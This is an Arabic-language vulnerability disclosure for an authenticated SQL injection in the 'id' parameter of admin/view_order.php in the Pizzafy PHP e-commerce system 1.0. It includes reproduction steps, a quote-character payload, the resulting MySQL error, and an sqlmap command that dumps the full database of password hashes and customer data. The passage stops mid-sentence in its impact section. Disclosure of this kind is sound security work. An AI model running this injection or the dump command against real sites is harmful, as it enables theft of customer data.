
admin/view_order.php| الحقل | القيمة |
|---|---|
| المورّد | SourceCodester |
| المنتج | نظام التجارة الإلكترونية Pizzafy باستخدام PHP وMySQL |
| الإصدار | 1.0 |
| الثغرة | حقن SQL (SQL Injection) |
| CWE | CWE-89 |
| درجة CVSSv3 | 7.2 (عالية) |
| متجه الهجوم | الشبكة |
| المصادقة المطلوبة | نعم (مسؤول) |
| الباحث | Xmyronn |
| التاريخ | 2026-04-11 |
https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html
الملف: Pizzafy/admin/view_order.php
المُعامل: id (GET)
نقطة النهاية admin/view_order.php في نظام Pizzafy للتجارة الإلكترونية 1.0 تفشل في تعقيم مُعامل id (GET) بشكل صحيح قبل تمريره إلى استعلام MySQL. يمكن للمسؤول المُصادَق عليه التلاعب بهذا المُعامل لحقن استعلامات SQL عشوائية، مما يؤدي إلى اختراق قاعدة البيانات بالكامل.
انتقل إلى:
http://localhost/pizzafy/Pizzafy/admin/index.php
سجّل الدخول باستخدام بيانات اعتماد المسؤول.
http://localhost/pizzafy/Pizzafy/admin/index.php?page=orders
انقر على عرض الطلب في أي إدخال طلب.

يبدو طلب GET المعترَض كما يلي:

غيّر id=1 إلى id=':

GET /pizzafy/Pizzafy/admin/view_order.php?id=' HTTP/1.1
الاستجابة — خطأ MySQL مُكشوف:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near ''' at line 1 in
C:\xampp\htdocs\pizzafy\Pizzafy\admin\view_order.php:15
احفظ الطلب في view_order.txt وشغّل:
sqlmap -r view_order.txt --dump --batch
أكّد sqlmap أنواع الحقن التالية:
| النوع | الوصف |
|---|---|
| Boolean-based blind | AND boolean-based blind — WHERE clause |
| Error-based | MySQL >= 5.0 FLOOR error-based |
| Time-based blind | MySQL >= 5.0.12 SLEEP |
| UNION query | Generic UNION query — 11 columns |
تم تفريغ قاعدة البيانات بالكامل:
Database: pizzafy
Tables: users, user_info, orders, order_list, product_list, category_list, system_settings
تشمل البيانات الحساسة المكشوفة تجزئات كلمات المرور bcrypt، ورسائل البريد الإلكتروني للعملاء، وتفاصيل الطلبات، وإعدادات النظام.
يمكن للمسؤول المُصادَق عليه الخبيث (أو المهاجم الذي حصل على بيانات اعتماد المسؤول) أن: